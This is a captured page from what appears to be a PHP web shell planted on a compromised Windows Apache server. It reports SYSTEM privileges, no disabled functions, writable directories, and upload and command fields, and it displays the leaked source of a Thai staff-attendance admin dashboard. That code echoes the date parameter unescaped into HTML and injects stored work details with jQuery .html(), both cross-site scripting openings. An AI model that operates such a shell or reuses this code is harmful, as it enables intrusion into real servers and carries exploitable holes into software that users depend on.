403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/work/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/work//admin_dashboard.php
<?php include 'header.php'; ?>

<?php
if ($_SESSION['type'] != 'admin') {
    header("Location: user_dashboard.php");
    exit();
}

// รับค่าฟิลเตอร์
$view_date = isset($_GET['view_date']) ? mysqli_real_escape_string($conn, $_GET['view_date']) : date('Y-m-d');
$p_id = isset($_GET['p_id']) ? (int)$_GET['p_id'] : 0;

$types_res = mysqli_query($conn, "SELECT * FROM personnel_types ORDER BY p_id ASC");

// 1. Query บุคลากรที่ "มา" ปฏิบัติงานแล้ว
$where_att = " WHERE a.att_date = '$view_date' ";
if ($p_id > 0) { $where_att .= " AND u.p_id = '$p_id' "; }

$sql_list = "SELECT a.*, u.fullname, u.position, g.g_name, pt.p_name 
             FROM attendance a 
             JOIN users u ON a.u_id = u.u_id 
             LEFT JOIN `groups` g ON u.g_id = g.g_id 
             LEFT JOIN personnel_types pt ON u.p_id = pt.p_id
             $where_att 
             ORDER BY a.time_in ASC";

$res_list = mysqli_query($conn, $sql_list);
$count_today = mysqli_num_rows($res_list);

// 2. Query บุคลากรที่ "ยังไม่ลงเวลา" (เพิ่ม u.u_id เพื่อใช้ในการลงเวลาแทน)
$p_filter = ($p_id > 0) ? " AND u.p_id = '$p_id' " : "";
$sql_missing = "SELECT u.u_id, u.fullname, u.position, g.g_name, pt.p_name 
                FROM users u 
                LEFT JOIN `groups` g ON u.g_id = g.g_id 
                LEFT JOIN personnel_types pt ON u.p_id = pt.p_id
                WHERE u.u_id NOT IN (
                    SELECT u_id FROM attendance WHERE att_date = '$view_date'
                )
                AND u.type != 'admin' 
                $p_filter
                ORDER BY u.fullname ASC";

$res_missing = mysqli_query($conn, $sql_missing);
$count_missing = mysqli_num_rows($res_missing);
?>

<div class="row mb-4 align-items-center">
    <div class="col-md-5">
        <h4 class="fw-bold text-dark mb-0">
            <i class="fas fa-desktop me-2 text-primary"></i>แผงควบคุมผู้ดูแลระบบ
        </h4>
        <small class="text-muted">ตรวจสอบการปฏิบัติงานประจำวันที่ <?php echo DateThai($view_date); ?></small>
    </div>
    <div class="col-md-7 text-md-end mt-3 mt-md-0">
        <div class="btn-group shadow-sm">
            <a href="admin_users.php" class="btn btn-white border border-end-0 bg-white">
                <i class="fas fa-users-cog me-1 text-primary"></i> จัดการบุคลากร
            </a>
            <a href="admin_groups.php" class="btn btn-white border border-end-0 bg-white">
                <i class="fas fa-layer-group me-1 text-success"></i> จัดการกลุ่มงาน
            </a>
            <a href="admin_types.php" class="btn btn-white border bg-white">
                <i class="fas fa-id-card-alt me-1 text-info"></i> จัดการประเภทบุคลากร
            </a>
        </div>
    </div>
</div>

<hr class="mb-4 opacity-50">

<div class="card border-0 shadow-sm mb-4">
    <div class="card-body bg-light rounded-3">
        <form method="get" action="admin_dashboard.php" class="row g-3 align-items-end">
            <div class="col-md-4">
                <label class="form-label small fw-bold">เลือกวันที่</label>
                <input type="date" name="view_date" class="form-control" value="<?php echo $view_date; ?>" onchange="this.form.submit()">
            </div>
            <div class="col-md-4">
                <label class="form-label small fw-bold">ประเภทบุคลากร</label>
                <select name="p_id" class="form-select" onchange="this.form.submit()">
                    <option value="0">-- ทุกประเภท --</option>
                    <?php 
                    mysqli_data_seek($types_res, 0);
                    while($t = mysqli_fetch_assoc($types_res)): 
                    ?>
                        <option value="<?php echo $t['p_id']; ?>" <?php if($p_id == $t['p_id']) echo 'selected'; ?>>
                            <?php echo htmlspecialchars($t['p_name']); ?>
                        </option>
                    <?php endwhile; ?>
                </select>
            </div>
            <div class="col-md-4 text-md-end">
                <a href="print_daily_report.php?date=<?php echo $view_date; ?>&p_id=<?php echo $p_id; ?>" target="_blank" class="btn btn-dark w-100">
                    <i class="fas fa-print me-2"></i>พิมพ์รายงานประจำวัน
                </a>
            </div>
        </form>
    </div>
</div>

<div class="card border-0 shadow-sm">
    <div class="card-header bg-white py-3 d-flex justify-content-between align-items-center">
        <div class="d-flex align-items-center gap-2">
            <h5 class="mb-0 fw-bold text-primary">รายชื่อบุคลากรที่มาปฏิบัติงาน</h5>
            <button type="button" class="btn btn-sm btn-outline-danger rounded-pill px-3" data-bs-toggle="modal" data-bs-target="#missingStaffModal">
                <i class="fas fa-user-slash me-1"></i> รายชื่อบุคลากรที่ยังไม่ลงเวลา
                <span class="badge bg-danger ms-1"><?php echo $count_missing; ?></span>
            </button>
        </div>
        <span class="badge bg-primary rounded-pill px-3 py-2">มาปฏิบัติงาน <?php echo $count_today; ?> คน</span>
    </div>
    <div class="card-body p-0">
        <div class="table-responsive">
            <table class="table table-hover align-middle mb-0">
                <thead class="table-light">
                    <tr>
                        <th width="5%" class="text-center">ที่</th>
                        <th width="12%" class="text-center">เวลามา</th>
                        <th width="12%" class="text-center">เวลากลับ</th>
                        <th>ชื่อ-นามสกุล / ตำแหน่ง</th>
                        <th>ประเภท / กลุ่มงาน</th>
                        <th width="15%" class="text-center">จัดการ</th>
                    </tr>
                </thead>
                <tbody>
                    <?php 
                    $no = 1; 
                    while($row = mysqli_fetch_assoc($res_list)): 
                    ?>
                    <tr>
                        <td class="text-center"><?php echo $no++; ?></td>
                        <td class="text-center">
                            <span class="badge bg-light text-primary border px-2"><?php echo $row['time_in']; ?></span>
                        </td>
                        <td class="text-center">
                            <?php if($row['time_out'] != "00:00:00" && !empty($row['time_out'])): ?>
                                <span class="badge bg-light text-danger border px-2"><?php echo $row['time_out']; ?></span>
                            <?php else: ?>
                                <small class="text-muted">ยังไม่กลับ</small>
                            <?php endif; ?>
                        </td>
                        <td class="ps-3">
                            <div class="fw-bold"><?php echo htmlspecialchars($row['fullname']); ?></div>
                            <small class="text-muted"><?php echo htmlspecialchars($row['position']); ?></small>
                        </td>
                        <td>
                            <div class="badge bg-secondary fw-normal mb-1"><?php echo htmlspecialchars($row['p_name']); ?></div><br>
                            <small class="text-muted"><?php echo htmlspecialchars($row['g_name']); ?></small>
                        </td>
                        <td class="text-center">
                            <div class="btn-group">
                                <button class="btn btn-sm btn-outline-warning edit-att-btn" 
                                        data-id="<?php echo $row['att_id']; ?>"
                                        data-name="<?php echo htmlspecialchars($row['fullname']); ?>"
                                        data-date="<?php echo $row['att_date']; ?>"
                                        data-in="<?php echo $row['time_in']; ?>"
                                        data-out="<?php echo $row['time_out']; ?>"
                                        data-bs-toggle="modal" data-bs-target="#editAttModal" title="แก้ไขเวลา">
                                    <i class="fas fa-clock"></i>
                                </button>
                                <button class="btn btn-sm btn-outline-info view-work-btn" 
                                        data-name="<?php echo htmlspecialchars($row['fullname']); ?>"
                                        data-work='<?php echo htmlspecialchars($row['work_detail'], ENT_QUOTES); ?>'
                                        data-bs-toggle="modal" data-bs-target="#viewWorkModal">
                                    <i class="fas fa-search"></i>
                                </button>
                                <a href="print_report.php?id=<?php echo $row['att_id']; ?>" target="_blank" class="btn btn-sm btn-outline-secondary"><i class="fas fa-print"></i></a>
                            </div>
                        </td>
                    </tr>
                    <?php endwhile; ?>
                    <?php if($count_today == 0) echo "<tr><td colspan='6' class='text-center py-5 text-muted'>ไม่พบข้อมูลการปฏิบัติงานในวันที่เลือก</td></tr>"; ?>
                </tbody>
            </table>
        </div>
    </div>
</div>

<!-- Modal รายชื่อบุคลากรที่ยังไม่ลงเวลา (เพิ่มปุ่มลงเวลาแทน)[cite: 2] -->
<div class="modal fade" id="missingStaffModal" tabindex="-1" aria-hidden="true">
    <div class="modal-dialog modal-lg modal-dialog-scrollable">
        <div class="modal-content border-0 shadow">
            <div class="modal-header bg-danger text-white">
                <h5 class="modal-title fw-bold">
                    <i class="fas fa-user-times me-2"></i>รายชื่อบุคลากรที่ยังไม่ลงเวลา (<?php echo DateThai($view_date); ?>)
                </h5>
                <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body p-0">
                <div class="table-responsive">
                    <table class="table table-striped table-hover align-middle mb-0">
                        <thead class="table-light">
                            <tr>
                                <th class="text-center" width="10%">ที่</th>
                                <th>ชื่อ-นามสกุล / ตำแหน่ง</th>
                                <th width="20%" class="text-center">ลงเวลา</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php 
                            $m_no = 1;
                            if($count_missing > 0):
                                while($m_row = mysqli_fetch_assoc($res_missing)): 
                            ?>
                            <tr>
                                <td class="text-center"><?php echo $m_no++; ?></td>
                                <td>
                                    <div class="fw-bold"><?php echo htmlspecialchars($m_row['fullname']); ?></div>
                                    <small class="text-muted"><?php echo htmlspecialchars($m_row['position']); ?></small>
                                </td>
                                <td class="text-center">
                                    <button type="button" class="btn btn-sm btn-danger rounded-pill px-3 admin-checkin-btn" 
                                            data-uid="<?php echo $m_row['u_id']; ?>"
                                            data-name="<?php echo htmlspecialchars($m_row['fullname']); ?>"
                                            data-bs-toggle="modal" data-bs-target="#adminCheckinModal">
                                        <i class="fas fa-user-clock me-1"></i> ลงเวลา
                                    </button>
                                </td>
                            </tr>
                            <?php 
                                endwhile;
                            else:
                                echo "<tr><td colspan='3' class='text-center py-4 text-muted'>บุคลากรทุกคนลงเวลาครบถ้วนแล้ว</td></tr>";
                            endif;
                            ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Modal บันทึกการลงเวลาแทนโดย Admin (ใหม่)[cite: 2] -->
<div class="modal fade" id="adminCheckinModal" tabindex="-1" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content border-0 shadow">
            <form action="process.php" method="post">
                <input type="hidden" name="action" value="admin_force_checkin">
                <input type="hidden" name="u_id" id="force_u_id">
                <input type="hidden" name="att_date" value="<?php echo $view_date; ?>">
                
                <div class="modal-header bg-primary text-white">
                    <h5 class="modal-title fw-bold">บันทึกการลงเวลาแทนบุคลากร</h5>
                    <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                </div>
                <div class="modal-body p-4">
                    <h6 class="mb-3">ชื่อบุคลากร: <span id="force_display_name" class="text-primary fw-bold"></span></h6>
                    <p class="small text-muted mb-4">ประจำวันที่: <?php echo DateThai($view_date); ?></p>
                    
                    <div class="row g-3">
                        <div class="col-md-6">
                            <label class="form-label small fw-bold">เวลาเข้างาน</label>
                            <input type="time" name="time_in" class="form-control" value="<?php echo date('H:i'); ?>" required>
                        </div>
                        <div class="col-md-6">
                            <label class="form-label small fw-bold">เวลากลับ (ไม่บังคับ)</label>
                            <!-- ปรับปรุง: นำ value="00:00:00" ออกเพื่อให้เป็นค่าว่าง[cite: 2] -->
                            <input type="time" name="time_out" class="form-control" value="">
                        </div>
                        <div class="col-md-12">
                            <label class="form-label small fw-bold">สถานที่ปฏิบัติงาน</label>
                            <select name="work_location" class="form-select" required onchange="toggleAdminWorkDetail(this.value)">
                                <option value="office">สำนักงาน</option>
                                <option value="home">ที่บ้าน (WFH)</option>
                            </select>
                        </div>
                        <div class="col-md-12" id="admin_detail_section" style="display:none;">
                            <label class="form-label small fw-bold">รายละเอียดภารกิจ</label>
                            <textarea name="work_detail" class="form-control" rows="3" placeholder="ระบุภารกิจที่ปฏิบัติงาน..."></textarea>
                        </div>
                    </div>
                </div>
                <div class="modal-footer bg-light text-center">
                    <button type="submit" class="btn btn-primary px-5 rounded-pill shadow-sm">บันทึกข้อมูล</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- Modal แก้ไขเวลา[cite: 2] -->
<div class="modal fade" id="editAttModal" tabindex="-1" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content border-0 shadow">
            <form action="process.php" method="post">
                <input type="hidden" name="action" value="edit_attendance">
                <input type="hidden" name="att_id" id="edit_att_id">
                <div class="modal-header bg-warning">
                    <h5 class="modal-title fw-bold"><i class="fas fa-edit me-2"></i>แก้ไขเวลาปฏิบัติงาน</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>
                <div class="modal-body p-4">
                    <h6 class="mb-3">บุคลากร: <span id="display_att_name" class="text-primary fw-bold"></span></h6>
                    <div class="mb-3">
                        <label class="form-label small fw-bold">วันที่ปฏิบัติงาน</label>
                        <input type="date" name="att_date" id="edit_att_date" class="form-control" required>
                    </div>
                    <div class="row">
                        <div class="col-6 mb-3">
                            <label class="form-label small fw-bold">เวลาเข้างาน</label>
                            <input type="time" name="time_in" id="edit_time_in" class="form-control" step="1" required>
                        </div>
                        <div class="col-6 mb-3">
                            <label class="form-label small fw-bold">เวลากลับ</label>
                            <input type="time" name="time_out" id="edit_time_out" class="form-control" step="1">
                        </div>
                    </div>
                </div>
                <div class="modal-footer bg-light text-center">
                    <button type="submit" class="btn btn-warning px-5 rounded-pill fw-bold">บันทึกการแก้ไข</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- Modal ดูรายละเอียดภารกิจ[cite: 2] -->
<div class="modal fade" id="viewWorkModal" tabindex="-1" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content border-0 shadow">
            <div class="modal-header bg-info text-white border-0">
                <h5 class="modal-title fw-bold"><i class="fas fa-tasks me-2"></i>รายละเอียดภารกิจ</h5>
                <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body p-4">
                <h6 class="fw-bold text-primary mb-3" id="work_person_name"></h6>
                <div id="work_detail_content" class="p-3 bg-light rounded border shadow-sm" style="min-height: 150px;"></div>
            </div>
        </div>
    </div>
</div>

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
$(document).ready(function(){
    // ส่งข้อมูลไปยัง Modal ลงเวลาแทน
    $('.admin-checkin-btn').on('click', function(){
        $('#force_u_id').val($(this).data('uid'));
        $('#force_display_name').text($(this).data('name'));
    });

    // ส่งข้อมูลไปยัง Modal แก้ไขเวลา[cite: 2]
    $('.edit-att-btn').on('click', function(){
        $('#edit_att_id').val($(this).data('id'));
        $('#display_att_name').text($(this).data('name'));
        $('#edit_att_date').val($(this).data('date'));
        $('#edit_time_in').val($(this).data('in'));
        $('#edit_time_out').val($(this).data('out'));
    });

    $('.view-work-btn').on('click', function(){
        var name = $(this).data('name');
        var work = $(this).data('work');
        $('#work_person_name').text('คุณ' + name);
        $('#work_detail_content').html(work ? work : '<span class="text-muted">ไม่ได้ระบุรายละเอียดภารกิจ</span>');
    });
});

function toggleAdminWorkDetail(val) {
    document.getElementById('admin_detail_section').style.display = (val === 'home') ? 'block' : 'none';
}
</script>

<style>
    .btn-white { background: #fff; color: #333; }
    .btn-white:hover { background: #f8f9fa; }
</style>

<?php include 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit